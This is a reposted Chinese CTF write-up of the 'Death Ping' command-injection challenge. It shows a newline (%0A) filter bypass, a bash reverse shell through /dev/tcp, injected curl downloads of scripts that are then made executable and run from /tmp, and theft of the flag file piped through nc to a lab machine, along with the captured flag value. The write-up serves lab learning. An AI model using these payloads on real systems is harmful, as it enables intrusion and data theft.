从0到1:CTFer成长之路——死亡 Ping 命令

编程入门 行业动态 更新时间:2024-10-24 08:25:34

从0到1:CTFer成长之路——死亡 Ping <a href=https://www.elefans.com/category/jswz/34/1771323.html style=命令"/>

从0到1:CTFer成长之路——死亡 Ping 命令

死亡 ping 命令

绕过探测

  • 手动尝试

  • 脚本生成转义后的字符,后面拼接命令

    import urllib.parsewith open(r"C:\Users\LEGION\Desktop\RCE.txt", "w", encoding="utf-8") as f:for i in range(0, 255):encoded_str = urllib.parse.quote(chr(i)+"whoami")f.write(encoded_str + "\n")
    

  • bp 爆破

  • 出现中文乱码

  • 设置编码

  • 爆破

    最终发现转义后的 %0A 拼接时未被过滤

漏洞发现

  • 发送到 Repeater 模块中查看,执行成功但并没有回显

  • 尝试 kali 开启 nc 监听,反弹 shell

    bash -i >& /dev/tcp/10.4.7.138/8888 0>&1
    

  • 命令中包含过滤字符

  • 开启另一个靶机,将命令写入 shell 文件尝试传入

    bash -i >& /dev/tcp/10.4.7.146/8888 0>&1
    
  • 开启 80 端口(docker 所在的靶机 80 端口被占用)

  • wget 下载失败(可能 docker 中未安装 wget)

  • curl 下载成功

    ip=%0Acurl 10.4.7.146/shell> /tmp/shell
    

  • 赋权

    ip=%0Achmod 777 /tmp/shell
    

  • 10.4.7.146 开启监听

  • 运行,反弹失败

    ip=%0A /tmp/shell
    

  • 查找资料说此 docker 未安装 bash、python 等,所以无法反弹 shell

flag 获取

  • 尝试直接回显

    ls | nc 10.4.7.146 8888
    # 将 ls 查看的命令输出回显到 kali
    

    因为 | 会被过滤,所以使用同样的方法将命令写到 kali 的文件中,上传到靶机执行

  • 编辑文件

  • 上传

    ip=%0Acurl 10.4.7.146/ls > /tmp/ls
    

  • 赋权

    ip=%0Achmod 777 /tmp/ls
    
  • 执行

    ip=%0A/tmp/ls
    

    显示成功

    查看反弹的 kali

    成功反弹回 ls 的执行结果

  • 接下来就是一个个命令上传,浏览附录

    bp 中依次发送包

    ip=%0Acurl 10.4.7.146/ls2 > /tmp/ls2ip=%0Achmod 777 /tmp/ls2ip=%0A/tmp/ls2
    

  • 最终发现 flag 在根下

    查看 flag

    上传查看 flag 的脚本

    cat /FLAG | nc 10.4.7.146 8888
    

    ip=%0Acurl 10.4.7.146/cat > /tmp/catip=%0Achmod 777 /tmp/catip=%0A/tmp/cat
    

  • 成功拿到 falg

    n1book{6fa82809179d7f19c67259aa285a7729}
    

更多推荐

从0到1:CTFer成长之路——死亡 Ping 命令

本文发布于:2023-12-03 07:24:59,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1652637.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:命令   成长之路   CTFer   Ping

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!